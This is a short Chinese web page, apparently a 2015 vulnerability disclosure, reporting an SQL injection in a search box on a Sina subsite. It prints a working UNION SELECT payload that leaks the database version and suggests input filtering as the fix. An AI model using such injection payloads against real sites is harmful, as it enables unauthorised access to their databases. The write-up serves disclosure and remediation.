新浪某分站一处SQL注入 - 网站安全

新浪某分站一处SQL注入 - 网站安全 - 自学php

来源：自学PHP网时间：2015-04-17 10:15 作者：阅读:次

[导读] 1. 下面这个搜索框存在注入。2. 搜索框输入以下内容。周杰伦#39; and 1=2 union select version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36......

1. 下面这个搜索框存在注入。

2. 搜索框输入以下内容。

周杰伦' and 1=2 union select version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56/*

3. 然后，数据库版本号就会出现在地址栏上。

4. 其它可获取的内容，就不一一列举了。

修复方案：

参数过滤

皮皮精灵皮皮宠存储型跨站+另一分站任意用户信

蘑菇街任意重置别人密码（爆破） - 网站安全

子栏目

新浪某分站一处SQL注入 - 网站安全 - 自学php

最新评论

添加评论

更多文章推荐

添加评论